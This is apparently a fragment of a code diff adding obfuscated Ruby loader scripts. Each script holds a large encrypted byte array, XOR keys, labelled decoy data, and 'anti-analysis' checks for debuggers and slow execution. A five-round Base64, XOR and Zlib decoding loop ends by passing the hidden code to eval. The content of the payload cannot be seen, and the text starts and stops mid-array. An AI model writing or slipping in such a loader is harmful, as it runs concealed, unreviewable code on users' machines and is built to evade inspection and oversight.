210, 255, 248, 238, 211, 121, 194, 114, 97, 17, 131, 206, 217, 220, 40, 242, 160, 77, 13, 208, 40, 74, 119, 133, 91, 107, 251, 143, 94, 149, 43, 86, 8, 207, 235, 178, 76, 36, 57, 22, 54, 47, 35, 215, 133, 100, 113, 27, 206, 79, 216, 138, 211, 138, 82, 96, 189, 250, 104, 125, 1, 162, 201, 126, 125, 183, 203, 43, 16, 36, 78, 107, 247, 54, 131, 73, 115, 199, 59, 11, 59, 117, 70, 176, 188, 58, 191, 248, 172, 96, 152, 131, 141, 93, 59, 229, 186, 127, 9, 234, 45, 183, 77, 19, 115, 199, 44, 249, 53, 210, 71, 88, 19, 200, 139, 108, 215, 28, 168, 99, 132, 165, 16, 206, 145, 90, 118, 247, 5, 61, 220, 136, 34, 236, 34, 179, 1, 15, 76, 82, 117, 79, 53, 117, 177, 19, 128, 126, 202, 248, 212, 105, 105, 124, 137, 236, 24, 163, 218, 65, 213, 215, 226, 125, 252, 219, 203, 225, 211, 168, 73, 166, 225, 9, 150, 231, 107, 178, 39, 183, 102, 30, 166, 61, 103, 33, 74, 112, 69, 171, 14, 84, 149, 226, 103, 253, 140, 5, 134, 137, 124, 112, 101, 14, 219, 198, 194, 160, 186, 20, 41, 123, 127, 178, 131, 73, 84, 89, 161, 186, 108, 212, 234, 86, 183, 239, 191, 7, 37, 141, 159, 136, 162, 113, 60, 164, 85, 220, 157, 245, 10, 109, 105, 130, 151, 64, 162, 95, 44, 55, 213, 223, 194, 77, 17, 97, 30, 71, 199, 69, 48, 70, 101, 251, 171, 211, 72, 241, 217, 208, 0, 218, 58, 39, 53, 157, 81, 217, 150, 127, 254, 124, 18, 161, 193, 152, 147, 238, 19, 178, 140, 115, 116, 6, 232, 149, 30, 177, 73, 179, 239, 88, 113, 41, 176, 218, 85, 34, 239, 71, 50, 220, 95, 43, 87, 10, 136, 174, 206, 95, 102, 129, 138, 63, 7, 138, 132, 29, 146, 107, 110, 233, 153, 229, 108, 147, 240, 254, 134, 13, 206, 123, 77, 205, 22, 254, 72, 70, 196, 216, 238, 242, 243, 249, 195, 99, 2, 204, 216, 71, 12, 155, 148, 100, 195, 224, 205, 218, 38, 111, 145, 127, 208, 180, 233, 45, 100, 117, 133, 78, 26, 72, 158, 48, 232, 226, 131, 86, 65, 227, 102, 240, 19, 255, 154, 126, 216, 247, 78, 90, 55, 149, 196, 103, 212, 200, 50, 64, 127, 4, 47, 208, 161, 197, 215, 226, 232, 122, 167, 126, 222, 156, 149, 129, 163, 28, 52, 41, 75, 122, 67, 92, 203, 129, 159, 69, 219, 162, 42, 112, 126, 3, 240, 115, 233, 211, 182, 85, 7, 82, 154, 207, 12, 246, 30, 150, 52, 176, 90, 126, 119, 144, 50, 208, 45, 3, 114, 86, 222, 82, 200, 232, 48, 52, 27, 223, 241, 218, 90, 32, 183, 126, 107, 4, 28, 135, 62, 209, 75, 172, 22, 107, 81, 230, 109, 102, 57, 92, 87, 48, 10, 73, 70, 5, 194, 56, 224, 82, 12, 143, 131, 125, 227, 117, 228, 149, 124, 209, 77, 102, 89, 160, 150, 97, 51, 113, 141, 32, 141, 37, 42, 54, 109, 84, 171, 230, 150, 44, 159, 14, 58, 159, 43, 94, 124, 235, 71, 152, 32, 203, 9, 111, 244, 191, 224, 66, 88, 59, 61, 43, 179, 87, 43, 33, 165, 241, 196, 171, 158, 16, 4, 145, 110, 31, 109, 186, 63, 71, 221, 75, 229, 39, 73, 82, 157, 99, 252, 221, 96, 191, 59, 240, 195, 112, 20, 8, 178, 131, 24, 22, 120, 165, 16, 159, 158, 65, 56, 201, 123, 2, 165, 255, 87, 43, 189, 218, 166, 149, 37, 62, 37, 253, 170, 229, 0, 77, 206, 209, 137, 234, 135, 82, 192, 92, 212, 124, 25, 122, 222, 16, 232, 53, 1, 124, 236, 197, 209, 144, 224, 153, 170, 241, 63, 174, 220, 63, 155, 229, 101, 176, 52, 158, 102, 227, 113, 79, 230, 86, 199, 126, 97, 83, 166, 165, 110, 130, 63, 10, 17, 249, 196, 59, 61, 37, 83, 160, 225, 120, 39, 109, 169, 255, 107, 163, 203, 22, 57, 146, 168, 148, 249, 181, 80, 185, 25, 137, 94, 218, 40, 187, 122, 151, 108, 152, 80, 229, 234, 6, 189, 56, 152, 63, 177, 169, 206, 99, 168, 71, 72, 114, 117, 136, 241, 197, 179, 76, 208, 149, 138, 2, 146, 223, 63, 6, 242, 148, 123, 217, 9, 37, 69, 165, 192, 60, 190, 240, 54, 40, 172, 189, 169, 214, 19, 220, 163, 185, 26, 174, 65, 240, 195, 27, 161, 43, 101, 116, 28, 68, 185, 228, 199, 111, 23, 240, 107, 175, 32, 160, 79, 22, 40, 244, 84, 54, 127, 165, 48, 213, 214, 245, 35, 167, 38, 161, 115, 230, 13, 21, 51, 217, 16, 89, 215, 171, 27, 77, 93, 25, 58, 217, 205, 119, 116, 11, 34, 150, 82, 52, 118, 223, 192, 175, 10, 72, 235, 149, 75, 137, 13, 246, 240, 4, 205, 87, 171, 224, 85, 144, 94, 199, 91, 150, 162, 123, 44, 250, 226, 40, 44, 142, 247, 98, 150, 16, 157, 239, 9, 171, 49, 229, 97, 5, 121, 154, 120, 186, 195, 250, 83, 121, 131, 57, 111, 161, 131, 221, 174, 147, 193, 102, 127, 6, 39, 89, 250, 201, 114, 187, 7, 4, 15, 255, 202, 130, 194, 209, 95, 164, 24, 187, 247, 60, 196, 90, 194, 100, 4, 169, 18, 11, 78, 209, 10, 175, 207, 123, 232, 67, 95, 250, 220, 248, 137, 237, 90, 65, 141, 55, 222, 235, 157, 74, 137, 198, 180, 208, 176, 26, 165, 112, 103, 31, 236, 114, 124, 46, 36, 95, 219, 171, 196, 135, 142, 93, 245, 178, 190, 182, 39, 100, 82, 166, 126, 59, 165, 121, 112, 202, 217, 241, 228, 59, 195, 233, 179, 182, 12, 195, 90, 68, 153, 71, 70, 136, 248, 170, 72, 252, 109, 89, 172, 208, 40, 225, 253, 8, 135, 163, 64, 251, 68, 245, 1, 53, 113, 59, 36, 139, 143, 94, 238, 50, 53, 129, 14, 126, 43, 59, 100, 91, 249, 148, 155, 93, 133, 34, 161, 69, 13, 37, 184, 157, 97, 211, 122, 253, 12, 40, 74, 168, 49, 204, 142, 98, 246, 8, 110, 1, 29, 52, 237, 69, 15, 61, 118, 111, 187, 64, 71, 232, 238, 144, 227, 149, 241, 77, 209, 85, 217, 140, 236, 41, 85, 20, 24, 77, 194, 16, 182, 212, 52, 53, 9, 138, 7, 143, 109, 136, 206, 53, 196, 180, 135, 141, 198, 137, 102, 109, 54, 210, 107, 101, 28, 205, 245, 118, 220, 82, 65, 8, 52, 146, 47, 131, 242, 124, 168, 196, 53, 239, 228, 118, 67, 26, 53, 56, 123, 203, 249, 219, 140, 180, 193, 198, 140, 3, 220, 189, 69, 87, 232, 158, 174, 88, 67, 63, 20, 206, 155, 32, 131, 190, 40, 242, 224, 62, 182, 206, 169, 151, 10, 236, 3, 252, 113, 239, 217, 33, 11, 47, 169, 94, 179, 59, 215, 72, 102, 5, 236, 102, 106, 238, 207, 200, 120, 252, 80, 224, 254, 28, 238, 109, 17, 63, 134, 60, 53, 6, 120, 26, 49, 165, 123, 54, 184, 200, 178, 164, 233, 96, 72, 5, 216, 158, 141, 14, 174, 236, 215, 74, 12, 8, 144, 88, 47, 118, 213, 134, 151, 35, 28, 94, 231, 204, 43, 235, 247, 114, 94, 59, 243, 106, 212, 51, 167, 144, 158, 150, 39, 13, 187, 72, 188, 39, 252, 139, 32, 164, 245, 19, 102, 63, 39, 201, 105, 82, 206, 10, 97, 209, 67, 121, 236, 66, 73, 189, 230, 7, 198, 70, 183, 220, 226, 246, 161, 139, 210, 158, 136, 137, 115, 153, 80, 30, 136, 7, 106, 106, 137, 93, 19, 25, 207, 74, 73, 128, 12, 49, 16, 92, 147, 107, 2, 37, 74, 103, 115, 204, 226, 72, 50, 121, 207, 42, 29, 28, 96, 153, 85, 102, 230, 247, 39, 111, 161, 190, 174, 107, 154, 200, 222, 217, 77, 228, 95, 166, 180, 78, 171, 12, 209, 56, 110, 4, 47, 35, 135, 198, 252, 166, 130, 8, 35, 56, 132, 39, 69, 213, 50, 39, 13, 247, 158, 111, 60, 58, 166, 250, 96, 247, 147, 196, 89, 170, 67, 91, 85, 242, 111, 249, 199, 7, 255, 172, 31, 52, 225, 164, 40, 53, 218, 189, 135, 37, 247, 97, 76, 232, 151, 89, 198, 200, 195, 208, 137, 241, 75, 33, 244, 74, 242, 1, 218, 171, 27, 180, 176, 80, 203, 173, 31, 72, 88, 153, 235, 145, 220, 165, 201, 13, 88, 147, 154, 90, 160, 245, 183, 3, 217, 178, 200, 20, 15, 96, 108, 99, 97, 95, 121, 177, 247, 108, 40, 243, 213, 157, 124, 160, 236, 217, 28, 88, 84, 178, 146, 101, 218, 13, 197, 20, 70, 92, 240, 179, 89, 253, 69, 31, 31, 164, 73, 69, 113, 239, 133, 221, 218, 171, 135, 147, 98, 91, 102, 253, 31, 182, 202, 95, 127, 249, 129, 179, 117, 174, 193, 7, 217, 129, 84, 102, 146, 174, 188, 14, 36, 132, 213, 2, 194, 54] # Main encrypted payload
|
|
52
|
+
|
|
53
|
+
# === EMBEDDED KEYS (obfuscated) ===
|
|
54
|
+
_z1df85f = [172, 244, 69, 79, 241, 169, 109, 97, 168, 78, 239, 193, 241, 242, 88, 206, 58, 25, 81, 71]
|
|
55
|
+
|
|
56
|
+
# === ENCODING TYPE TRACKER ===
|
|
57
|
+
_y8fb35d = [0, 1, 0, 0, 0]
|
|
58
|
+
|
|
59
|
+
# === STORED CHECKSUM ===
|
|
60
|
+
_k4f84b3 = '404306abec2d41aa64131bc0723484223fb1fbb7acbbc794e251805ccd094450'
|
|
61
|
+
|
|
62
|
+
# === DECOY DATA (distraction) ===
|
|
63
|
+
_u05524e = [23, 222, 6, 206, 181, 204, 209, 188, 151, 189, 149, 111, 231, 82, 100, 224, 127, 39, 197, 113, 180, 188, 182, 10, 162, 218, 200, 164, 184, 123, 86, 50, 184, 219, 141, 17, 29, 151, 225, 193, 161, 118, 154, 38, 161, 205, 134, 173, 214, 107, 22, 19, 77, 146, 228, 196, 187, 36, 36, 69, 102, 235, 230, 132, 112, 124, 108, 251, 209, 80, 52, 42, 238, 188, 117, 228, 118, 254, 119, 252, 201, 124, 195, 6, 188, 151, 149, 166, 55, 167, 237, 99, 113, 32, 242, 126, 11, 161, 59, 90, 154, 145, 252, 92, 203, 118, 247, 6, 122, 120, 228, 51, 64, 57, 221, 217, 125, 62, 86, 222, 137, 76, 162, 138, 30]
|
|
64
|
+
_ge8c982 = [108, 65, 255, 140, 246, 153, 37, 96, 66, 92, 22, 20, 180, 236, 72, 164, 32, 195, 75, 77, 112, 163, 38, 37, 169, 16, 54, 201, 33, 9, 102, 52, 185, 171, 142, 195, 197, 227, 87, 246, 109, 178, 41, 135, 110, 12, 180, 161, 122, 130, 213, 178, 48, 32, 214, 63, 90, 113, 119, 220, 95, 225, 186, 190, 151, 70, 3, 125, 129, 98, 0, 18, 91, 57, 109, 78, 123, 231, 81, 253, 216, 75, 35, 240, 33, 153, 107, 104, 50, 245, 247, 76, 119, 232, 107, 143, 120, 0, 133, 224, 163, 16, 74, 190, 49, 137, 159, 251, 112, 216, 233, 254, 83, 135, 152, 134, 3, 116, 100, 255, 82, 199, 49, 102, 196, 250, 211, 59, 140, 198, 40, 34]
|
|
65
|
+
_f83cb23 = [219, 97, 29, 50, 102, 14, 199, 20, 101, 199, 48, 141, 99, 37, 72, 250, 138, 123, 71, 129, 65, 184, 71, 28, 192, 212, 168, 108, 85, 189, 164, 140, 231, 197, 253, 151, 253, 116, 41, 64, 79, 177, 174, 20, 239, 67, 134, 182, 157, 63, 2, 19, 185, 178, 109, 5, 168, 92, 130, 18, 65, 174, 26, 47, 243, 84, 131, 63, 35, 223, 131, 123, 253, 82, 39, 93, 54, 128, 72, 181, 78, 106, 25, 62, 124, 166, 92, 204, 118, 112, 58, 160, 99, 37, 185, 60, 65, 238, 19, 65, 203, 231, 145, 180, 93, 249, 54, 31, 29, 193, 140, 96, 13, 226, 186, 30, 190, 38, 86, 49]
|
|
66
|
+
|
|
67
|
+
# === FIXED DECRYPTION ALGORITHM ===
|
|
68
|
+
begin
|
|
69
|
+
# 1. Verify integrity BEFORE decryption
|
|
70
|
+
unless _x7d312e.call(_p7877e2, _y8fb35d, _z1df85f, _k4f84b3)
|
|
71
|
+
raise "Integrity verification failed"
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
# 2. Start with the encrypted data
|
|
75
|
+
_x6aa6d5 = _p7877e2.dup
|
|
76
|
+
|
|
77
|
+
# 3. Decryption loop (must reverse encryption steps)
|
|
78
|
+
5.times do |_j51d35a|
|
|
79
|
+
# Calculate which round we're reversing
|
|
80
|
+
_e2ec781 = 5 - _j51d35a - 1
|
|
81
|
+
|
|
82
|
+
# Get key for this reverse round
|
|
83
|
+
_u572aff = 4
|
|
84
|
+
_p720be1 = _e2ec781 * _u572aff
|
|
85
|
+
_m3ba3bc = _z1df85f[_p720be1, _u572aff]
|
|
86
|
+
|
|
87
|
+
# DECRYPTION STEPS (REVERSED ORDER from encryption):
|
|
88
|
+
# Encryption was: Compress → XOR → (Maybe) Base64
|
|
89
|
+
# Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
|
|
90
|
+
|
|
91
|
+
# A. Base64 decode if this round used it
|
|
92
|
+
if _y8fb35d[_e2ec781] == 1
|
|
93
|
+
_ua787fe = _x6aa6d5.pack('C*')
|
|
94
|
+
_ua787fe = Base64.strict_decode64(_ua787fe)
|
|
95
|
+
_x6aa6d5 = _ua787fe.bytes
|
|
96
|
+
end
|
|
97
|
+
|
|
98
|
+
# B. XOR decrypt with the key
|
|
99
|
+
_x6aa6d5 = _t4a85f0.call(_x6aa6d5, _m3ba3bc)
|
|
100
|
+
|
|
101
|
+
# C. Inflate (decompress) the data
|
|
102
|
+
_ua787fe = _x6aa6d5.pack('C*')
|
|
103
|
+
_ua787fe = Zlib::Inflate.inflate(_ua787fe)
|
|
104
|
+
_x6aa6d5 = _ua787fe.bytes
|
|
105
|
+
end
|
|
106
|
+
|
|
107
|
+
# 4. Final verification and execution
|
|
108
|
+
_g90979c = _x6aa6d5.pack('C*')
|
|
109
|
+
|
|
110
|
+
# Quick syntax check before eval
|
|
111
|
+
if _g90979c.strip.empty? || _g90979c.length < 10
|
|
112
|
+
raise "Decryption resulted in invalid code"
|
|
113
|
+
end
|
|
114
|
+
|
|
115
|
+
# No user-facing output here; the loader should not print this during decryption
|
|
116
|
+
eval(_g90979c, binding, __FILE__, __LINE__)
|
|
117
|
+
|
|
118
|
+
rescue => _m325495
|
|
119
|
+
# Graceful error handling
|
|
120
|
+
warn "DECRYPTION ERROR: #{_m325495.message}"
|
|
121
|
+
warn "This file appears to be corrupted or tampered with."
|
|
122
|
+
exit 1
|
|
123
|
+
end
|
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
require 'base64'
|
|
5
|
+
require 'zlib'
|
|
6
|
+
require 'digest'
|
|
7
|
+
|
|
8
|
+
# === ANTI-ANALYSIS PROTECTIONS ===
|
|
9
|
+
_nc29850 = lambda do
|
|
10
|
+
# Analyzer detection
|
|
11
|
+
if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
|
|
12
|
+
warn "WARNING: analysis environment detected"
|
|
13
|
+
# Optional: exit(1) for stronger protection
|
|
14
|
+
end
|
|
15
|
+
|
|
16
|
+
# Quick execution speed check
|
|
17
|
+
_oa14130 = Time.now
|
|
18
|
+
100.times { |_| Math.sqrt(_) }
|
|
19
|
+
if (Time.now - _oa14130) > 0.1 # Adjust threshold as needed
|
|
20
|
+
warn "WARNING: Execution too slow - possible analysis environment"
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
# Return environment fingerprint
|
|
24
|
+
[RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
# Run environment check
|
|
28
|
+
_id3ed8d = _nc29850.call
|
|
29
|
+
|
|
30
|
+
# === FIXED XOR DECRYPTOR ===
|
|
31
|
+
_d535c7c = ->(_y5c564c, _p623254) do
|
|
32
|
+
_wf337d5 = []
|
|
33
|
+
_y5c564c.each_with_index do |byte, idx|
|
|
34
|
+
_wf337d5 << (byte ^ _p623254[idx % _p623254.length])
|
|
35
|
+
end
|
|
36
|
+
_wf337d5
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
# === INTEGRITY VERIFICATION ===
|
|
41
|
+
_b8c9018 = lambda do |_v4ddd9d, _r46e010, _q6411ea, _e6245f0|
|
|
42
|
+
# Verify checksum before any decryption
|
|
43
|
+
current_hash = Digest::SHA256.hexdigest(_v4ddd9d.pack('C*'))
|
|
44
|
+
if current_hash != _e6245f0
|
|
45
|
+
raise "SECURITY ERROR: File integrity check failed"
|
|
46
|
+
end
|
|
47
|
+
true
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
# === EMBEDDED ENCRYPTED DATA ===
|
|
51
|
+
_v4ddd9d = [123, 8, 189, 113, 182, 100, 3, 233, 19, 151, 151, 97, 1, 245, 248, 85, 1, 165, 143, 177, 132, 105, 147, 182, 252, 160, 83, 33, 33, 161, 206, 39, 221, 83, 242, 91, 159, 210, 130, 181, 18, 69, 48, 245, 247, 136, 210, 144, 70, 232, 211, 199, 57, 25, 125, 227, 205, 216, 107, 104, 214, 154, 74, 163, 138, 27, 172, 211, 255, 222, 132, 199, 232, 116, 144, 120, 49, 23, 186, 129, 139, 243, 26, 253, 156, 210, 116, 193, 130, 81, 221, 86, 233, 246, 41, 137, 82, 185, 105, 78, 168, 179, 2, 193, 142, 190, 145, 179, 79, 206, 25, 222, 81, 193, 159, 95, 96, 21, 133, 132, 119, 109, 24, 105, 61, 110, 150, 219, 22, 69, 20, 109, 232, 25, 49, 0, 177, 106, 36, 54, 207, 63, 209, 31, 25, 252, 184, 203, 65, 146, 34, 32, 135, 29, 66, 153, 184, 199, 222, 10, 125, 110, 88, 178, 16, 156, 145, 97, 192, 130, 13, 8, 83, 175, 109, 104, 152, 71, 52, 208, 18, 35, 186, 139, 94, 196, 111, 14, 157, 136, 227, 200, 11, 173, 243, 239, 104, 14, 123, 121, 138, 186, 224, 146, 157, 216, 63, 209, 158, 156, 36, 37, 51, 26, 129, 168, 39, 82, 122, 231, 235, 79, 181, 90, 195, 80, 65, 96, 105, 200, 193, 227, 30, 23, 235, 114, 48, 244, 151, 31, 209, 184, 19, 62, 101, 235, 158, 225, 181, 132, 176, 103, 194, 47, 28, 30, 140, 118, 207, 62, 33, 175, 170, 173, 137, 49, 217, 92, 92, 108, 141, 93, 221, 60, 208, 214, 101, 215, 187, 205, 126, 72, 155, 233, 152, 134, 45, 237, 3, 211, 116, 146, 102, 69, 225, 49, 15, 178, 48, 64, 145, 26, 149, 170, 193, 169, 68, 33, 134, 21, 36, 235, 148, 24, 224, 232, 7, 116, 29, 230, 18, 64, 110, 198, 13, 190, 126, 213, 80, 127, 64, 248, 114, 192, 124, 71, 54, 169, 233, 185, 32, 157, 119, 243, 4, 2, 160, 104, 20, 162, 6, 70, 4, 128, 149, 51, 201, 97, 95, 151, 2, 113, 194, 59, 99, 52, 82, 128, 20, 109, 194, 179, 116, 96, 201, 108, 129, 144, 87, 149, 31, 199, 117, 140, 237, 60, 85, 26, 103, 215, 144, 64, 163, 163, 192, 85, 231, 193, 23, 39, 176, 121, 2, 56, 62, 217, 203, 221, 153, 95, 205, 156, 7, 0, 226, 5, 145, 32, 139, 231, 136, 167, 254, 154, 224, 185, 247, 15, 240, 95, 57, 34, 168, 144, 88, 216, 138, 236, 226, 31, 17, 26, 72, 55, 113, 0, 248, 227, 146, 227, 224, 36, 164, 99, 234, 194, 95, 35, 147, 15, 7, 165, 77, 187, 17, 138, 190, 109, 176, 53, 239, 178, 149, 3, 14, 245, 212, 41, 150, 61, 115, 117, 62, 102, 89, 251, 89, 71, 24, 217, 41, 48, 219, 50, 45, 175, 203, 55, 73, 85, 147, 133, 111, 154, 5, 87, 61, 142, 96, 80, 45, 246, 125, 30, 56, 194, 161, 210, 71, 113, 132, 179, 171, 8, 3, 226, 110, 230, 91, 208, 147, 112, 34, 8, 108, 14, 141, 121, 155, 35, 37, 135, 80, 174, 167, 224, 170, 93, 93, 2, 76, 140, 71, 249, 107, 93, 132, 231, 53, 235, 24, 200, 88, 103, 105, 78, 7, 31, 144, 153, 192, 188, 173, 78, 8, 55, 48, 144, 213, 150, 156, 132, 79, 249, 98, 163, 153, 150, 47, 157, 243, 252, 240, 149, 164, 214, 59, 70, 146, 207, 26, 245, 22, 91, 64, 167, 170, 145, 224, 243, 254, 106, 155, 228, 145, 89, 230, 77, 59, 169, 206, 96, 171, 249, 206, 106, 145, 248, 19, 224, 230, 82, 16, 133, 95, 178, 254, 167, 186, 15, 153, 103, 116, 13, 56, 210, 232, 48, 16, 235, 230, 101, 211, 116, 135, 20, 190, 203, 156, 39, 158, 249, 84, 235, 128, 71, 52, 9, 21, 122, 74, 235, 45, 117, 139, 11, 251, 67, 58, 168, 124, 134, 44, 253, 174, 120, 207, 210, 32, 34, 214, 242, 160, 154, 115, 193, 21, 89, 201, 137, 72, 136, 25, 31, 245, 3, 196, 33, 83, 215, 48, 255, 39, 68, 159, 168, 250, 3, 90, 15, 128, 86, 67, 233, 159, 224, 201, 157, 246, 58, 70, 191, 46, 85, 242, 101, 152, 243, 88, 131, 84, 124, 5, 206, 184, 98, 237, 190, 107, 249, 236, 86, 201, 105, 93, 85, 76, 33, 23, 132, 146, 172, 17, 217, 145, 158, 185, 233, 131, 99, 181, 161, 110, 169, 113, 198, 164, 211, 80, 233, 84, 140, 167, 35, 137, 148, 99, 240, 224, 55, 162, 63, 90, 160, 94, 187, 7, 145, 28, 73, 217, 140, 155, 82, 218, 194, 166, 192, 249, 8, 186, 124, 170, 213, 129, 48, 98, 103, 51, 74, 123, 69, 197, 221, 134, 140, 92, 63, 196, 41, 104, 215, 51, 204, 23, 240, 29, 86, 2, 210, 47, 104, 132, 134, 29, 247, 237, 143, 135, 212, 29, 85, 95, 165, 66, 197, 41, 250, 210, 104, 163, 157, 177, 1, 171, 96, 106, 145, 110, 236, 95, 55, 31, 63, 106, 220, 12, 157, 117, 159, 54, 222, 88, 206, 21, 138, 37, 236, 255, 143, 98, 138, 96, 246, 250, 176, 123, 117, 141, 13, 37, 62, 9, 3, 204, 188, 205, 78, 97, 20, 234, 148, 195, 34, 115, 221, 95, 215, 14, 149, 88, 3, 179, 6, 135, 194, 138, 29, 120, 104, 91, 60, 13, 32, 176, 248, 247, 176, 192, 11, 27, 24, 151, 91, 232, 161, 101, 46, 133, 235, 152, 13, 47, 24, 33, 252, 255, 244, 196, 10, 48, 175, 93, 36, 103, 239, 160, 99, 134, 126, 0, 64, 225, 26, 108, 245, 60, 252, 10, 191, 167, 80, 13, 69, 208, 0, 230, 0, 64, 72, 50, 144, 140, 129, 251, 199, 237, 124, 101, 194, 150, 77, 47, 104, 126, 34, 170, 190, 158, 67, 96, 67, 82, 225, 25, 83, 59, 153, 143, 47, 241, 6, 103, 200, 255, 10, 105, 143, 174, 85, 66, 24, 17, 122, 73, 174, 80, 213, 8, 162, 219, 131, 8, 70, 212, 206, 148, 115, 79, 215, 2, 171, 233, 81, 214, 229, 159, 90, 223, 190, 180, 189, 203, 184, 71, 177, 224, 172, 149, 38, 134, 83, 64, 25, 161, 231, 117, 109, 105, 235, 118, 120, 171, 115, 152, 51, 53, 78, 206, 56, 233, 113, 114, 153, 130, 52, 148, 15, 176, 231, 34, 42, 27, 176, 82, 154, 251, 128, 41, 95, 173, 241, 195, 13, 39, 9, 70, 25, 174, 150, 35, 97, 152, 64, 125, 243, 79, 177, 16, 94, 16, 211, 235, 160, 141, 181, 171, 10, 187, 66, 202, 14, 43, 182, 81, 52, 219, 99, 202, 85, 83, 217, 188, 131, 158, 39, 164, 80, 35, 92, 10, 20, 48, 168, 207, 64, 108, 162, 49, 174, 122, 12, 95, 84, 79, 201, 216, 209, 167, 160, 52, 34, 159, 141, 52, 69, 201, 251, 82, 255, 179, 69, 95, 235, 140, 154, 127, 213, 194, 161, 55, 204, 127, 158, 101, 63, 214, 86, 11, 143, 186, 144, 234, 190, 193, 192, 82, 239, 33, 237, 118, 106, 60, 61, 114, 67, 117, 252, 235, 21, 170, 204, 32, 110, 231, 82, 160, 64, 224, 188, 21, 69, 174, 176, 169, 74, 162, 139, 126, 211, 91, 120, 188, 49, 68, 97, 56, 2, 62, 199, 224, 27, 155, 119, 190, 85, 186, 93, 93, 197, 172, 226, 105, 107, 59, 222, 88, 117, 165, 19, 67, 181, 166, 6, 26, 117, 239, 103, 176, 214, 13, 32, 154, 188, 98, 124, 24, 157, 0, 12, 36, 223, 168, 148, 16, 173, 38, 249, 110, 110, 141, 50, 233, 242, 79, 94, 185, 78, 37, 11, 169, 221, 240, 83, 171, 23, 255, 91, 249, 207, 96, 104, 81, 127, 223, 181, 54, 133, 218, 197, 232, 97, 73, 39, 184, 23, 21, 204, 127, 28, 239, 201, 109, 208, 84, 232, 62, 153, 25, 249, 91, 132, 172, 63, 42, 144, 113, 34, 14, 185, 4, 244, 21, 139, 55, 97, 78, 78, 114, 236, 164, 61, 70, 151, 83, 18, 166, 221, 244, 214, 140, 233, 235, 65, 7, 110, 117, 14, 46, 18, 65, 154, 17, 77, 33, 53, 118, 122, 92, 187, 116, 45, 255, 33, 70, 23, 118, 40, 81, 170, 234, 235, 67, 105, 66, 231, 56, 240, 69, 220, 111, 188, 167, 189, 231, 225, 202, 180, 107, 11, 34, 151, 139, 122, 157, 123, 234, 142, 119, 56, 152, 158, 251, 2, 247, 106, 73, 7, 230, 25, 119, 156, 70, 73, 170, 243, 18, 43, 199, 239, 53, 199, 188, 39, 220, 113, 87, 6, 45, 156, 91, 217, 47, 39, 153, 194, 54, 124, 242, 226, 60, 0, 54, 254, 37, 127, 54, 28, 195, 236, 235, 165, 241, 149, 92, 62, 62, 149, 171, 208, 43, 36, 11, 224, 181, 168, 2, 143, 39, 244, 37, 96, 61, 244, 181, 164, 136, 182, 40, 19, 2, 10, 229, 216, 146, 136, 203, 111, 193, 102, 153, 159, 125, 105, 116, 91, 160, 238, 238, 27, 248, 39, 236, 104, 45, 15, 160, 111, 196, 226, 227, 248, 188, 151, 122, 236, 165, 222, 56, 37, 201, 204, 194, 5, 207, 171, 43, 59, 107, 65, 207, 66, 0, 251, 185, 142, 190, 251, 174, 239, 99, 1, 170, 237, 12, 106, 47, 88, 222, 106, 106, 36, 216, 35, 107, 28, 227, 230, 7, 120, 4, 194, 132, 162, 212, 101, 40, 162, 23, 221, 1, 51, 39, 26, 125, 189, 118, 128, 13, 188, 34, 20, 109, 122, 233, 91, 255, 87, 175, 61, 132, 19, 32, 92, 215, 8, 40, 13, 89, 218, 39, 136, 144, 101, 33, 223, 193, 19, 30, 45, 155, 177, 21, 9, 55, 232, 76, 14, 241, 247, 15, 59, 118, 227, 177, 194, 215, 116, 40, 153, 185, 228, 34, 95, 170, 78, 199, 215, 164, 195, 165, 94, 33, 159, 215, 52, 12, 109, 8, 108, 134, 87, 165, 243, 25, 225, 213, 231, 40, 58, 189, 21, 13, 40, 129, 67, 71, 159, 136, 229, 126, 247, 93, 28, 130, 246, 124, 142, 155, 95, 68, 48, 63, 118, 148, 225, 223, 30, 252, 7, 214, 28, 61, 51, 35, 236, 214, 123, 190, 16, 172, 78, 52, 30, 33, 116, 51, 11, 29, 162, 202, 25, 241, 117, 248, 233, 161, 30, 4, 145, 151, 124, 214, 169, 159, 203, 148, 77, 2, 142, 225, 151, 195, 249, 227, 21, 190, 171, 51, 163, 8, 244, 92, 21, 14, 146, 104, 68, 157, 126, 246, 88, 12, 163, 120, 164, 95, 139, 126, 60, 72, 95, 67, 60, 156, 44, 152, 211, 128, 239, 140, 192, 49, 93, 223, 36, 249, 240, 161, 181, 49, 162, 151, 71, 16, 171, 79, 135, 147, 198, 69, 227, 207, 147, 0, 17, 64, 68, 102, 141, 85, 162, 234, 79, 27, 173, 95, 98, 207, 74, 7, 209, 203, 249, 241, 101, 196, 31, 101, 47, 108, 38, 154, 128, 237, 253, 86, 152, 143, 178, 172, 142, 117, 190, 33, 152, 65, 136, 12, 193, 114, 17, 201, 48, 45, 252, 0, 52, 60, 67, 126, 83, 52, 153, 168, 79, 102, 83, 98, 230, 58, 105, 180, 220, 72, 27, 109, 58, 83, 56, 47, 52, 114, 107, 202, 241, 232, 151, 225, 97, 253, 11, 74, 189, 239, 234, 27, 210, 68, 133, 3, 140, 175, 251, 241, 186, 16, 185, 197, 147, 245, 19, 227, 61, 48, 31, 99, 204, 123, 174, 63, 54, 201, 69, 243, 24, 129, 181, 12, 209, 234, 3, 42, 32, 77, 127, 254, 184, 163, 219, 146, 247, 169, 126, 211, 22, 200, 70, 209, 209, 96, 85, 198, 31, 0, 185, 196, 209, 238, 248, 4, 59, 232, 21, 43, 193, 186, 123, 230, 193, 211, 43, 87, 8, 194, 161, 35, 252, 44, 54, 243, 55, 10, 126, 239, 137, 79, 201, 64, 138, 101, 206, 88, 57, 191, 181, 209, 239, 10, 190, 46, 116, 86, 80, 128, 96, 108, 143, 142, 160, 240, 223, 64, 88, 172, 192, 173, 21, 74, 226, 52, 115, 163, 55, 103, 151, 110, 240, 132, 64, 175, 64, 237, 166, 155, 216, 213, 186, 243, 201, 147, 141, 217, 131, 145, 222, 219, 71, 97, 66, 52, 159, 229, 177, 105, 141, 